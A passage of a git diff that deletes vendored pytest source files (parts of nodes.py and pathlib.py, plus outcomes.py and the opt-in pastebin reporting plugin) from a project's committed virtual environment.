that they are not ignored using - :hook:`pytest_ignore_collect`. - - The default directory collectors are :class:`~pytest.Dir` and - :class:`~pytest.Package`. - - .. versionadded:: 8.0 - - :ref:`custom directory collectors`. - """ - - -class Item(Node, abc.ABC): - """Base class of all test invocation items. - - Note that for a single function there might be multiple test invocation items. - """ - - nextitem = None - - def __init__( - self, - name, - parent=None, - config: Config | None = None, - session: Session | None = None, - nodeid: str | None = None, - **kw, - ) -> None: - # The first two arguments are intentionally passed positionally, - # to keep plugins who define a node type which inherits from - # (pytest.Item, pytest.File) working (see issue #8435). - # They can be made kwargs when the deprecation above is done. - super().__init__( - name, - parent, - config=config, - session=session, - nodeid=nodeid, - **kw, - ) - self._report_sections: list[tuple[str, str, str]] = [] - - #: A list of tuples (name, value) that holds user defined properties - #: for this test. - self.user_properties: list[tuple[str, object]] = [] - - self._check_item_and_collector_diamond_inheritance() - - def _check_item_and_collector_diamond_inheritance(self) -> None: - """ - Check if the current type inherits from both File and Collector - at the same time, emitting a warning accordingly (#8447). - """ - cls = type(self) - - # We inject an attribute in the type to avoid issuing this warning - # for the same class more than once, which is not helpful. - # It is a hack, but was deemed acceptable in order to avoid - # flooding the user in the common case. - attr_name = "_pytest_diamond_inheritance_warning_shown" - if getattr(cls, attr_name, False): - return - setattr(cls, attr_name, True) - - problems = ", ".join( - base.__name__ for base in cls.__bases__ if issubclass(base, Collector) - ) - if problems: - warnings.warn( - f"{cls.__name__} is an Item subclass and should not be a collector, " - f"however its bases {problems} are collectors.\n" - "Please split the Collectors and the Item into separate node types.\n" - "Pytest Doc example: https://docs.pytest.org/en/latest/example/nonpython.html\n" - "example pull request on a plugin: https://github.com/asmeurer/pytest-flakes/pull/40/", - PytestWarning, - ) - - @abc.abstractmethod - def runtest(self) -> None: - """Run the test case for this item. - - Must be implemented by subclasses. - - .. seealso:: :ref:`non-python tests` - """ - raise NotImplementedError("runtest must be implemented by Item subclass") - - def add_report_section(self, when: str, key: str, content: str) -> None: - """Add a new report section, similar to what's done internally to add - stdout and stderr captured output:: - - item.add_report_section("call", "stdout", "report section contents") - - :param str when: - One of the possible capture states, ``"setup"``, ``"call"``, ``"teardown"``. - :param str key: - Name of the section, can be customized at will. Pytest uses ``"stdout"`` and - ``"stderr"`` internally. - :param str content: - The full contents as a string. - """ - if content: - self._report_sections.append((when, key, content)) - - def reportinfo(self) -> tuple[os.PathLike[str] | str, int | None, str]: - """Get location information for this item for test reports. - - Returns a tuple with three elements: - - - The path of the test (default ``self.path``) - - The 0-based line number of the test (default ``None``) - - A name of the test to be shown (default ``""``) - - .. seealso:: :ref:`non-python tests` - """ - return self.path, None, "" - - @cached_property - def location(self) -> tuple[str, int | None, str]: - """ - Returns a tuple of ``(relfspath, lineno, testname)`` for this item - where ``relfspath`` is file path relative to ``config.rootpath`` - and lineno is a 0-based line number. - """ - location = self.reportinfo() - path = absolutepath(location[0]) - relfspath = self.session._node_location_to_relpath(path) - assert type(location[2]) is str - return (relfspath, location[1], location[2]) diff --git a/backend/venv/Lib/site-packages/_pytest/outcomes.py b/backend/venv/Lib/site-packages/_pytest/outcomes.py deleted file mode 100644 index 5b20803e..00000000 --- a/backend/venv/Lib/site-packages/_pytest/outcomes.py +++ /dev/null @@ -1,318 +0,0 @@ -"""Exception classes and constants handling test outcomes as well as -functions creating them.""" - -from __future__ import annotations - -import sys -from typing import Any -from typing import Callable -from typing import cast -from typing import NoReturn -from typing import Protocol -from typing import Type -from typing import TypeVar - -from .warning_types import PytestDeprecationWarning - - -class OutcomeException(BaseException): - """OutcomeException and its subclass instances indicate and contain info - about test and collection outcomes.""" - - def __init__(self, msg: str | None = None, pytrace: bool = True) -> None: - if msg is not None and not isinstance(msg, str): - error_msg = ( # type: ignore[unreachable] - "{} expected string as 'msg' parameter, got '{}' instead.\n" - "Perhaps you meant to use a mark?" - ) - raise TypeError(error_msg.format(type(self).__name__, type(msg).__name__)) - super().__init__(msg) - self.msg = msg - self.pytrace = pytrace - - def __repr__(self) -> str: - if self.msg is not None: - return self.msg - return f"<{self.__class__.__name__} instance>" - - __str__ = __repr__ - - -TEST_OUTCOME = (OutcomeException, Exception) - - -class Skipped(OutcomeException): - # XXX hackish: on 3k we fake to live in the builtins - # in order to have Skipped exception printing shorter/nicer - __module__ = "builtins" - - def __init__( - self, - msg: str | None = None, - pytrace: bool = True, - allow_module_level: bool = False, - *, - _use_item_location: bool = False, - ) -> None: - super().__init__(msg=msg, pytrace=pytrace) - self.allow_module_level = allow_module_level - # If true, the skip location is reported as the item's location, - # instead of the place that raises the exception/calls skip(). - self._use_item_location = _use_item_location - - -class Failed(OutcomeException): - """Raised from an explicit call to pytest.fail().""" - - __module__ = "builtins" - - -class Exit(Exception): - """Raised for immediate program exits (no tracebacks/summaries).""" - - def __init__( - self, msg: str = "unknown reason", returncode: int | None = None - ) -> None: - self.msg = msg - self.returncode = returncode - super().__init__(msg) - - -# Elaborate hack to work around https://github.com/python/mypy/issues/2087. -# Ideally would just be `exit.Exception = Exit` etc. - -_F = TypeVar("_F", bound=Callable[..., object]) -_ET = TypeVar("_ET", bound=Type[BaseException]) - - -class _WithException(Protocol[_F, _ET]): - Exception: _ET - __call__: _F - - -def _with_exception(exception_type: _ET) -> Callable[[_F], _WithException[_F, _ET]]: - def decorate(func: _F) -> _WithException[_F, _ET]: - func_with_exception = cast(_WithException[_F, _ET], func) - func_with_exception.Exception = exception_type - return func_with_exception - - return decorate - - -# Exposed helper methods. - - -@_with_exception(Exit) -def exit( - reason: str = "", - returncode: int | None = None, -) -> NoReturn: - """Exit testing process. - - :param reason: - The message to show as the reason for exiting pytest. reason has a default value - only because `msg` is deprecated. - - :param returncode: - Return code to be used when exiting pytest. None means the same as ``0`` (no error), same as :func:`sys.exit`. - - :raises pytest.exit.Exception: - The exception that is raised. - """ - __tracebackhide__ = True - raise Exit(reason, returncode) - - -@_with_exception(Skipped) -def skip( - reason: str = "", - *, - allow_module_level: bool = False, -) -> NoReturn: - """Skip an executing test with the given message. - - This function should be called only during testing (setup, call or teardown) or - during collection by using the ``allow_module_level`` flag. This function can - be called in doctests as well. - - :param reason: - The message to show the user as reason for the skip. - - :param allow_module_level: - Allows this function to be called at module level. - Raising the skip exception at module level will stop - the execution of the module and prevent the collection of all tests in the module, - even those defined before the `skip` call. - - Defaults to False. - - :raises pytest.skip.Exception: - The exception that is raised. - - .. note:: - It is better to use the :ref:`pytest.mark.skipif ref` marker when - possible to declare a test to be skipped under certain conditions - like mismatching platforms or dependencies. - Similarly, use the ``# doctest: +SKIP`` directive (see :py:data:`doctest.SKIP`) - to skip a doctest statically. - """ - __tracebackhide__ = True - raise Skipped(msg=reason, allow_module_level=allow_module_level) - - -@_with_exception(Failed) -def fail(reason: str = "", pytrace: bool = True) -> NoReturn: - """Explicitly fail an executing test with the given message. - - :param reason: - The message to show the user as reason for the failure. - - :param pytrace: - If False, msg represents the full failure information and no - python traceback will be reported. - - :raises pytest.fail.Exception: - The exception that is raised. - """ - __tracebackhide__ = True - raise Failed(msg=reason, pytrace=pytrace) - - -class XFailed(Failed): - """Raised from an explicit call to pytest.xfail().""" - - -@_with_exception(XFailed) -def xfail(reason: str = "") -> NoReturn: - """Imperatively xfail an executing test or setup function with the given reason. - - This function should be called only during testing (setup, call or teardown). - - No other code is executed after using ``xfail()`` (it is implemented - internally by raising an exception). - - :param reason: - The message to show the user as reason for the xfail. - - .. note:: - It is better to use the :ref:`pytest.mark.xfail ref` marker when - possible to declare a test to be xfailed under certain conditions - like known bugs or missing features. - - :raises pytest.xfail.Exception: - The exception that is raised. - """ - __tracebackhide__ = True - raise XFailed(reason) - - -def importorskip( - modname: str, - minversion: str | None = None, - reason: str | None = None, - *, - exc_type: type[ImportError] | None = None, -) -> Any: - """Import and return the requested module ``modname``, or skip the - current test if the module cannot be imported. - - :param modname: - The name of the module to import. - :param minversion: - If given, the imported module's ``__version__`` attribute must be at - least this minimal version, otherwise the test is still skipped. - :param reason: - If given, this reason is shown as the message when the module cannot - be imported. - :param exc_type: - The exception that should be captured in order to skip modules. - Must be :py:class:`ImportError` or a subclass. - - If the module can be imported but raises :class:`ImportError`, pytest will - issue a warning to the user, as often users expect the module not to be - found (which would raise :class:`ModuleNotFoundError` instead). - - This warning can be suppressed by passing ``exc_type=ImportError`` explicitly. - - See :ref:`import-or-skip-import-error` for details. - - - :returns: - The imported module. This should be assigned to its canonical name. - - :raises pytest.skip.Exception: - If the module cannot be imported. - - Example:: - - docutils = pytest.importorskip("docutils") - - .. versionadded:: 8.2 - - The ``exc_type`` parameter. - """ - import warnings - - __tracebackhide__ = True - compile(modname, "", "eval") # to catch syntaxerrors - - # Until pytest 9.1, we will warn the user if we catch ImportError (instead of ModuleNotFoundError), - # as this might be hiding an installation/environment problem, which is not usually what is intended - # when using importorskip() (#11523). - # In 9.1, to keep the function signature compatible, we just change the code below to: - # 1. Use `exc_type = ModuleNotFoundError` if `exc_type` is not given. - # 2. Remove `warn_on_import` and the warning handling. - if exc_type is None: - exc_type = ImportError - warn_on_import_error = True - else: - warn_on_import_error = False - - skipped: Skipped | None = None - warning: Warning | None = None - - with warnings.catch_warnings(): - # Make sure to ignore ImportWarnings that might happen because - # of existing directories with the same name we're trying to - # import but without a __init__.py file. - warnings.simplefilter("ignore") - - try: - __import__(modname) - except exc_type as exc: - # Do not raise or issue warnings inside the catch_warnings() block. - if reason is None: - reason = f"could not import {modname!r}: {exc}" - skipped = Skipped(reason, allow_module_level=True) - - if warn_on_import_error and not isinstance(exc, ModuleNotFoundError): - lines = [ - "", - f"Module '{modname}' was found, but when imported by pytest it raised:", - f" {exc!r}", - "In pytest 9.1 this warning will become an error by default.", - "You can fix the underlying problem, or alternatively overwrite this behavior and silence this " - "warning by passing exc_type=ImportError explicitly.", - "See https://docs.pytest.org/en/stable/deprecations.html#pytest-importorskip-default-behavior-regarding-importerror", - ] - warning = PytestDeprecationWarning("\n".join(lines)) - - if warning: - warnings.warn(warning, stacklevel=2) - if skipped: - raise skipped - - mod = sys.modules[modname] - if minversion is None: - return mod - verattr = getattr(mod, "__version__", None) - if minversion is not None: - # Imported lazily to improve start-up time. - from packaging.version import Version - - if verattr is None or Version(verattr) < Version(minversion): - raise Skipped( - f"module {modname!r} has __version__ {verattr!r}, required is: {minversion!r}", - allow_module_level=True, - ) - return mod diff --git a/backend/venv/Lib/site-packages/_pytest/pastebin.py b/backend/venv/Lib/site-packages/_pytest/pastebin.py deleted file mode 100644 index 69c011ed..00000000 --- a/backend/venv/Lib/site-packages/_pytest/pastebin.py +++ /dev/null @@ -1,113 +0,0 @@ -# mypy: allow-untyped-defs -"""Submit failure or test session information to a pastebin service.""" - -from __future__ import annotations - -from io import StringIO -import tempfile -from typing import IO - -from _pytest.config import Config -from _pytest.config import create_terminal_writer -from _pytest.config.argparsing import Parser -from _pytest.stash import StashKey -from _pytest.terminal import TerminalReporter -import pytest - - -pastebinfile_key = StashKey[IO[bytes]]() - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting") - group._addoption( - "--pastebin", - metavar="mode", - action="store", - dest="pastebin", - default=None, - choices=["failed", "all"], - help="Send failed|all info to bpaste.net pastebin service", - ) - - -@pytest.hookimpl(trylast=True) -def pytest_configure(config: Config) -> None: - if config.option.pastebin == "all": - tr = config.pluginmanager.getplugin("terminalreporter") - # If no terminal reporter plugin is present, nothing we can do here; - # this can happen when this function executes in a worker node - # when using pytest-xdist, for example. - if tr is not None: - # pastebin file will be UTF-8 encoded binary file. - config.stash[pastebinfile_key] = tempfile.TemporaryFile("w+b") - oldwrite = tr._tw.write - - def tee_write(s, **kwargs): - oldwrite(s, **kwargs) - if isinstance(s, str): - s = s.encode("utf-8") - config.stash[pastebinfile_key].write(s) - - tr._tw.write = tee_write - - -def pytest_unconfigure(config: Config) -> None: - if pastebinfile_key in config.stash: - pastebinfile = config.stash[pastebinfile_key] - # Get terminal contents and delete file. - pastebinfile.seek(0) - sessionlog = pastebinfile.read() - pastebinfile.close() - del config.stash[pastebinfile_key] - # Undo our patching in the terminal reporter. - tr = config.pluginmanager.getplugin("terminalreporter") - del tr._tw.__dict__["write"] - # Write summary. - tr.write_sep("=", "Sending information to Paste Service") - pastebinurl = create_new_paste(sessionlog) - tr.write_line(f"pastebin session-log: {pastebinurl}\n") - - -def create_new_paste(contents: str | bytes) -> str: - """Create a new paste using the bpaste.net service. - - :contents: Paste contents string. - :returns: URL to the pasted contents, or an error message. - """ - import re - from urllib.parse import urlencode - from urllib.request import urlopen - - params = {"code": contents, "lexer": "text", "expiry": "1week"} - url = "https://bpa.st" - try: - response: str = ( - urlopen(url, data=urlencode(params).encode("ascii")).read().decode("utf-8") - ) - except OSError as exc_info: # urllib errors - return f"bad response: {exc_info}" - m = re.search(r'href="/raw/(\w+)"', response) - if m: - return f"{url}/show/{m.group(1)}" - else: - return "bad response: invalid format ('" + response + "')" - - -def pytest_terminal_summary(terminalreporter: TerminalReporter) -> None: - if terminalreporter.config.option.pastebin != "failed": - return - if "failed" in terminalreporter.stats: - terminalreporter.write_sep("=", "Sending information to Paste Service") - for rep in terminalreporter.stats["failed"]: - try: - msg = rep.longrepr.reprtraceback.reprentries[-1].reprfileloc - except AttributeError: - msg = terminalreporter._getfailureheadline(rep) - file = StringIO() - tw = create_terminal_writer(terminalreporter.config, file) - rep.toterminal(tw) - s = file.getvalue() - assert len(s) - pastebinurl = create_new_paste(s) - terminalreporter.write_line(f"{msg} --> {pastebinurl}") diff --git a/backend/venv/Lib/site-packages/_pytest/pathlib.py b/backend/venv/Lib/site-packages/_pytest/pathlib.py deleted file mode 100644 index e4dc4edd..00000000 --- a/backend/venv/Lib/site-packages/_pytest/pathlib.py +++ /dev/null @@ -1,973 +0,0 @@ -from __future__ import annotations - -import atexit -import contextlib -from enum import Enum -from errno import EBADF -from errno import ELOOP -from errno import ENOENT -from errno import ENOTDIR -import fnmatch -from functools import partial -from importlib.machinery import ModuleSpec -import importlib.util -import itertools -import os -from os.path import expanduser -from os.path import expandvars -from os.path import isabs -from os.path import sep -from pathlib import Path -from pathlib import PurePath -from posixpath import sep as posix_sep -import shutil -import sys -import types -from types import ModuleType -from typing import Any -from typing import Callable -from typing import Iterable -from typing import Iterator -from typing import TypeVar -import uuid -import warnings - -from _pytest.compat import assert_never -from _pytest.outcomes import skip -from _pytest.warning_types import PytestWarning - - -LOCK_TIMEOUT = 60 * 60 * 24 * 3 - - -_AnyPurePath = TypeVar("_AnyPurePath", bound=PurePath) - -# The following function, variables and comments were -# copied from cpython 3.9 Lib/pathlib.py file. - -# EBADF - guard against macOS `stat` throwing EBADF -_IGNORED_ERRORS = (ENOENT, ENOTDIR, EBADF, ELOOP) - -_IGNORED_WINERRORS = ( - 21, # ERROR_NOT_READY - drive exists but is not accessible - 1921, # ERROR_CANT_RESOLVE_FILENAME - fix for broken symlink pointing to itself -) - - -def _ignore_error(exception: Exception) -> bool: - return ( - getattr(exception, "errno", None) in _IGNORED_ERRORS - or getattr(exception, "winerror", None) in _IGNORED_WINERRORS - ) - - -def get_lock_path(path: _AnyPurePath) -> _AnyPurePath: - return path.joinpath(".lock") - - -def on_rm_rf_error( - func: Callable[..., Any] | None, - path: str, - excinfo: BaseException - | tuple[type[BaseException], BaseException, types.TracebackType | None], - *, - start_path: Path, -) -> bool: - """Handle known read-only errors during rmtree. - - The returned value is used only by our own tests. - """ - if isinstance(excinfo, BaseException): - exc = excinfo - else: - exc = excinfo[1] - - # Another process removed the file in the middle of the "rm_rf" (xdist for example). - # More context: https://github.com/pytest-dev/pytest/issues/5974#issuecomment-543799018 - if isinstance(exc, FileNotFoundError): - return False - - if not isinstance(exc, PermissionError): - warnings.warn( - PytestWarning(f"(rm_rf) error removing {path}\n{type(exc)}: {exc}") - ) - return False - - if func not in (os.rmdir, os.remove, os.unlink): - if func not in (os.open,): - warnings.warn( - PytestWarning( - f"(rm_rf) unknown function {func} when removing {path}:\n{type(exc)}: {exc}" - ) - ) - return False - - # Chmod + retry. - import stat - - def chmod_rw(p: str) -> None: - mode = os.stat(p).st_mode - os.chmod(p, mode | stat.S_IRUSR | stat.S_IWUSR) - - # For files, we need to recursively go upwards in the directories to - # ensure they all are also writable. - p = Path(path) - if p.is_file(): - for parent in p.parents: - chmod_rw(str(parent)) - # Stop when we reach the original path passed to rm_rf. - if parent == start_path: - break - chmod_rw(str(path)) - - func(path) - return True - - -def ensure_extended_length_path(path: Path) -> Path: - """Get the extended-length version of a path (Windows). - - On Windows, by default, the maximum length of a path (MAX_PATH) is 260 - characters, and operations on paths longer than that fail. But it is possible - to overcome this by converting the path to "extended-length" form before - performing the operation: - https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file#maximum-path-length-limitation - - On Windows, this function returns the extended-length absolute version of path. - On other platforms it returns path unchanged. - """ - if sys.platform.startswith("win32"): - path = path.resolve() - path = Path(get_extended_length_path_str(str(path))) - return path - - -def get_extended_length_path_str(path: str) -> str: - """Convert a path to a Windows extended length path.""" - long_path_prefix = "\\\\?\\" - unc_long_path_prefix = "\\\\?\\UNC\\" - if path.startswith((long_path_prefix, unc_long_path_prefix)): - return path - # UNC - if path.startswith("\\\\"): - return unc_long_path_prefix + path[2:] - return long_path_prefix + path - - -def rm_rf(path: Path) -> None: - """Remove the path contents recursively, even if some elements - are read-only.""" - path = ensure_extended_length_path(path) - onerror = partial(on_rm_rf_error, start_path=path) - if sys.version_info >= (3, 12): - shutil.rmtree(str(path), onexc=onerror) - else: - shutil.rmtree(str(path), onerror=onerror) - - -def find_prefixed(root: Path, prefix: str) -> Iterator[os.DirEntry[str]]: - """Find all elements in root that begin with the prefix, case-insensitive.""" - l_prefix = prefix.lower() - for x in os.scandir(root): - if x.name.lower().startswith(l_prefix): - yield x - - -def extract_suffixes(iter: Iterable[os.DirEntry[str]], prefix: str) -> Iterator[str]: - """Return the parts of the paths following the prefix. - - :param iter: Iterator over path names. - :param prefix: Expected prefix of the path names. - """ - p_len = len(prefix) - for entry in iter: - yield entry.name[p_len:] - - -def find_suffixes(root: Path, prefix: str) -> Iterator[str]: - """Combine find_prefixes and extract_suffixes.""" - return extract_suffixes(find_prefixed(root, prefix), prefix) - - -def parse_num(maybe_num: str) -> int: - """Parse number path suffixes, returns -1 on error.""" - try: - return int(maybe_num) - except ValueError: - return -1 - - -def _force_symlink(root: Path, target: str | PurePath, link_to: str | Path) -> None: - """Helper to create the current symlink. - - It's full of race conditions that are reasonably OK to ignore - for the context of best effort linking to the latest test run. - - The presumption being that in case of much parallelism - the inaccuracy is going to be acceptable. - """ - current_symlink = root.joinpath(target) - try: - current_symlink.unlink() - except OSError: - pass - try: - current_symlink.symlink_to(link_to) - except Exception: - pass - - -def make_numbered_dir(root: Path, prefix: str, mode: int = 0o700) -> Path: - """Create a directory with an increased number as suffix for the given prefix.""" - for i in range(10): - # try up to 10 times to create the folder - max_existing = max(map(parse_num, find_suffixes(root, prefix)), default=-1) - new_number = max_existing + 1 - new_path = root.joinpath(f"{prefix}{new_number}") - try: - new_path.mkdir(mode=mode) - except Exception: - pass - else: - _force_symlink(root, prefix + "current", new_path) - return new_path - else: - raise OSError( - "could not create numbered dir with prefix " - f"{prefix} in {root} after 10 tries" - ) - - -def create_cleanup_lock(p: Path) -> Path: - """Create a lock to prevent premature folder cleanup.""" - lock_path = get_lock_path(p) - try: - fd = os.open(str(lock_path), os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o644) - except FileExistsError as e: - raise OSError(f"cannot create lockfile in {p}") from e - else: - pid = os.getpid() - spid = str(pid).encode() - os.write(fd, spid) - os.close(fd) - if not lock_path.is_file(): - raise OSError("lock path got renamed after successful creation") - return lock_path - - -def register_cleanup_lock_removal( - lock_path: Path, register: Any = atexit.register -) -> Any: - """Register a cleanup function for removing a lock, by default on atexit.""" - pid = os.getpid() - - def cleanup_on_exit(lock_path: Path = lock_path, original_pid: int = pid) -> None: - current_pid = os.getpid() - if current_pid != original_pid: - # fork - return - try: - lock_path.unlink() - except OSError: - pass - - return register(cleanup_on_exit) - - -def maybe_delete_a_numbered_dir(path: Path) -> None: - """Remove a numbered directory if its lock can be obtained and it does - not seem to be in use.""" - path = ensure_extended_length_path(path) - lock_path = None - try: - lock_path = create_cleanup_lock(path) - parent = path.parent - - garbage = parent.joinpath(f"garbage-{uuid.uuid4()}") - path.rename(garbage) - rm_rf(garbage) - except OSError: - # known races: - # * other process did a cleanup at the same time - # * deletable folder was found - # * process cwd (Windows) - return - finally: - # If we created the lock, ensure we remove it even if we failed - # to properly remove the numbered dir. - if lock_path is not None: - try: - lock_path.unlink() - except OSError: - pass - - -def ensure_deletable(path: Path, consider_lock_dead_if_created_before: float) -> bool: - """Check if `path` is deletable based on whether the lock file is expired.""" - if path.is_symlink(): - return False - lock = get_lock_path(path) - try: - if not lock.is_file(): - return True - except OSError: - # we might not have access to the lock file at all, in this case assume - # we don't have access to the entire directory (#7491). - return False - try: - lock_time = lock.stat().st_mtime - except Exception: - return False - else: - if lock_time < consider_lock_dead_if_created_before: - # We want to ignore any errors while trying to remove the lock such as: - # - PermissionDenied, like the file permissions have changed since the lock creation; - # - FileNotFoundError, in case another pytest process got here first; - # and any other cause of failure. - with contextlib.suppress(OSError): - lock.unlink() - return True - return False - - -def try_cleanup(path: Path, consider_lock_dead_if_created_before: float) -> None: - """Try to cleanup a folder if we can ensure it's deletable.""" - if ensure_deletable(path, consider_lock_dead_if_created_before): - maybe_delete_a_numbered_dir(path) - - -def cleanup_candidates(root: Path, prefix: str, keep: int) -> Iterator[Path]: - """List candidates for numbered directories to be removed - follows py.path.""" - max_existing = max(map(parse_num, find_suffixes(root, prefix)), default=-1) - max_delete = max_existing - keep - entries = find_prefixed(root, prefix) - entries, entries2 = itertools.tee(entries) - numbers = map(parse_num, extract_suffixes(entries2, prefix)) - for entry, number in zip(entries, numbers): - if number <= max_delete: - yield Path(entry) - - -def cleanup_dead_symlinks(root: Path) -> None: - for left_dir in root.iterdir(): - if left_dir.is_symlink(): - if not left_dir.resolve().exists(): - left_dir.unlink() - - -def cleanup_numbered_dir( - root: Path, prefix: str, keep: int, consider_lock_dead_if_created_before: float -) -> None: - """Cleanup for lock driven numbered directories.""" - if not root.exists(): - return - for path in cleanup_candidates(root, prefix, keep): - try_cleanup(path, consider_lock_dead_if_created_before) - for path in root.glob("garbage-*"): - try_cleanup(path, consider_lock_dead_if_created_before) - - cleanup_dead_symlinks(root) - - -def make_numbered_dir_with_cleanup( - root: Path, - prefix: str, - keep: int, - lock_timeout: float, - mode: int, -) -> Path: - """Create a numbered dir with a cleanup lock and remove old ones.""" - e = None - for i in range(10): - try: - p = make_numbered_dir(root, prefix, mode) - # Only lock the current dir when keep is not 0 - if keep != 0: - lock_path = create_cleanup_lock(p) - register_cleanup_lock_removal(lock_path) - except Exception as exc: - e = exc - else: - consider_lock_dead_if_created_before = p.stat().st_mtime - lock_timeout - # Register a cleanup for program exit - atexit.register( - cleanup_numbered_dir, - root, - prefix, - keep, - consider_lock_dead_if_created_before, - ) - return p - assert e is not None - raise e - - -def resolve_from_str(input: str, rootpath: Path) -> Path: - input = expanduser(input) - input = expandvars(input) - if isabs(input): - return Path(input) - else: - return rootpath.joinpath(input) - - -def fnmatch_ex(pattern: str, path: str | os.PathLike[str]) -> bool: - """A port of FNMatcher from py.path.common which works with PurePath() instances. - - The difference between this algorithm and PurePath.match() is that the - latter matches "**" glob expressions for each part of the path, while - this algorithm uses the whole path instead. - - For example: - "tests/foo/bar/doc/test_foo.py" matches pattern "tests/**/doc/test*.py" - with this algorithm, but not with PurePath.match(). - - This algorithm was ported to keep backward-compatibility with existing - settings which assume paths match according this logic. - - References: - * https://bugs.python.org/issue29249 - * https://bugs.python.org/issue34731 - """ - path = PurePath(path) - iswin32 = sys.platform.startswith("win") - - if iswin32 and sep not in pattern and posix_sep in pattern: - # Running on Windows, the pattern has no Windows path separators, - # and the pattern has one or more Posix path separators. Replace - # the Posix path separators with the Windows path separator. - pattern = pattern.replace(posix_sep, sep) - - if sep not in pattern: - name = path.name - else: - name = str(path) - if path.is_absolute() and not os.path.isabs(pattern): - pattern = f"*{os.sep}{pattern}" - return fnmatch.fnmatch(name, pattern) - - -def parts(s: str) -> set[str]: - parts = s.split(sep) - return {sep.join(parts[: i + 1]) or sep for i in range(len(parts))} - - -def symlink_or_skip( - src: os.PathLike[str] | str, - dst: os.PathLike[str] | str, - **kwargs: Any, -) -> None: - """Make a symlink, or skip the test in case symlinks are not supported.""" - try: - os.symlink(src, dst, **kwargs) - except OSError as e: - skip(f"symlinks not supported: {e}") - - -class ImportMode(Enum): - """Possible values for `mode` parameter of `import_path`.""" - - prepend = "prepend" - append = "append" - importlib = "importlib" - - -class ImportPathMismatchError(ImportError): - """Raised on import_path() if there is a mismatch of __file__'s. - - This can happen when `import_path` is called multiple times with different filenames that has - the same basename but reside in packages - (for example "/tests1/test_foo.py" and "/tests2/test_foo.py"). - """ - - -def import_path( - path: str | os.PathLike[str], - *, - mode: str | ImportMode = ImportMode.prepend, - root: Path, - consider_namespace_packages: bool, -) -> ModuleType: - """ - Import and return a module from the given path, which can be a file (a module) or - a directory (a package). - - :param path: - Path to the file to import. - - :param mode: - Controls the underlying import mechanism that will be used: - - * ImportMode.prepend: the directory containing the module (or package, taking - `__init__.py` files into account) will be put at the *start* of `sys.path` before - being imported with `importlib.import_module`. - - * ImportMode.append: same as `prepend`, but the directory will be appended - to the end of `sys.path`, if not already in `sys.path`. - - * ImportMode.importlib: uses more fine control mechanisms provided by `importlib` - to import the module, which avoids having to muck with `sys.path` at all. It effectively - allows having same-named test modules in different places. - - :param root: - Used as an anchor when mode == ImportMode.importlib to obtain - a unique name for the module being imported so it can safely be stored - into ``sys.modules``. - - :param consider_namespace_packages: - If True, consider namespace packages when resolving module names. - - :raises ImportPathMismatchError: - If after importing the given `path` and the module `__file__` - are different. Only raised in `prepend` and `append` modes. - """ - path = Path(path) - mode = ImportMode(mode) - - if not path.exists(): - raise ImportError(path) - - if mode is ImportMode.importlib: - # Try to import this module using the standard import mechanisms, but - # without touching sys.path. - try: - pkg_root, module_name = resolve_pkg_root_and_module_name( - path, consider_namespace_packages=consider_namespace_packages - ) - except CouldNotResolvePathError: - pass - else: - # If the given module name is already in sys.modules, do not import it again. - with contextlib.suppress(KeyError): - return sys.modules[module_name] - - mod = _import_module_using_spec( - module_name, path, pkg_root, insert_modules=False - ) - if mod is not None: - return mod - - # Could not import the module with the current sys.path, so we fall back - # to importing the file as a single module, not being a part of a package. - module_name = module_name_from_path(path, root) - with contextlib.suppress(KeyError): - return sys.modules[module_name] - - mod = _import_module_using_spec( - module_name, path, path.parent, insert_modules=True - ) - if mod is None: - raise ImportError(f"Can't find module {module_name} at location {path}") - return mod - - try: - pkg_root, module_name = resolve_pkg_root_and_module_name( - path, consider_namespace_packages=consider_namespace_packages - ) - except CouldNotResolvePathError: - pkg_root, module_name = path.parent, path.stem - - # Change sys.path permanently: restoring it at the end of this function would cause surprising - # problems because of delayed imports: for example, a conftest.py file imported by this function - # might have local imports, which would fail at runtime if we restored sys.path. - if mode is ImportMode.append: - if str(pkg_root) not in sys.path: - sys.path.append(str(pkg_root)) - elif mode is ImportMode.prepend: - if str(pkg_root) != sys.path[0]: - sys.path.insert(0, str(pkg_root)) - else: - assert_never(mode) - - importlib.import_module(module_name) - - mod = sys.modules[module_name] - if path.name == "__init__.py": - return mod - - ignore = os.environ.get("PY_IGNORE_IMPORTMISMATCH", "") - if ignore != "1": - module_file = mod.__file__ - if module_file is None: - raise ImportPathMismatchError(module_name, module_file, path) - - if module_file.endswith((".pyc", ".pyo")): - module_file = module_file[:-1] - if module_file.endswith(os.sep + "__init__.py"): - module_file = module_file[: -(len(os.sep + "__init__.py"))] - - try: - is_same = _is_same(str(path), module_file) - except FileNotFoundError: - is_same = False - - if not is_same: - raise ImportPathMismatchError(module_name, module_file, path) - - return mod - - -def _import_module_using_spec( - module_name: str, module_path: Path, module_location: Path, *, insert_modules: bool -) -> ModuleType | None: - """ - Tries to import a module by its canonical name, path to the .py file, and its - parent location. - - :param insert_modules: - If True, will call insert_missing_modules to create empty intermediate modules - for made-up module names (when importing test files not reachable from sys.path). - """ - # Checking with sys.meta_path first in case one of its hooks can import this module, - # such as our own assertion-rewrite hook. - for meta_importer in sys.meta_path: - spec = meta_importer.find_spec(module_name, [str(module_location)]) - if spec_matches_module_path(spec, module_path): - break - else: - spec = importlib.util.spec_from_file_location(module_name, str(module_path)) - - if spec_matches_module_path(spec, module_path): - assert spec is not None - # Attempt to import the parent module, seems is our responsibility: - # https://github.com/python/cpython/blob/73906d5c908c1e0b73c5436faeff7d93698fc074/Lib/importlib/_bootstrap.py#L1308-L1311 - parent_module_name, _, name = module_name.rpartition(".") - parent_module: ModuleType | None = None - if parent_module_name: - parent_module = sys.modules.get(parent_module_name) - if parent_module is None: - # Find the directory of this module's parent. - parent_dir = ( - module_path.parent.parent - if module_path.name == "__init__.py" - else module_path.parent - ) - # Consider the parent module path as its __init__.py file, if it has one. - parent_module_path = ( - parent_dir / "__init__.py" - if (parent_dir / "__init__.py").is_file() - else parent_dir - ) - parent_module = _import_module_using_spec( - parent_module_name, - parent_module_path, - parent_dir, - insert_modules=insert_modules, - ) - - # Find spec and import this module. - mod = importlib.util.module_from_spec(spec) - sys.modules[module_name] = mod - spec.loader.exec_module(mod) # type: ignore[union-attr] - - # Set this module as an attribute of the parent module (#12194). - if parent_module is not None: - setattr(parent_module, name, mod) - - if insert_modules: - insert_missing_modules(sys.modules, module_name) - return mod - - return None - - -def spec_matches_module_path(module_spec: ModuleSpec | None, module_path: Path) -> bool: - """Return true if the given ModuleSpec can be used to import the given module path.""" - if 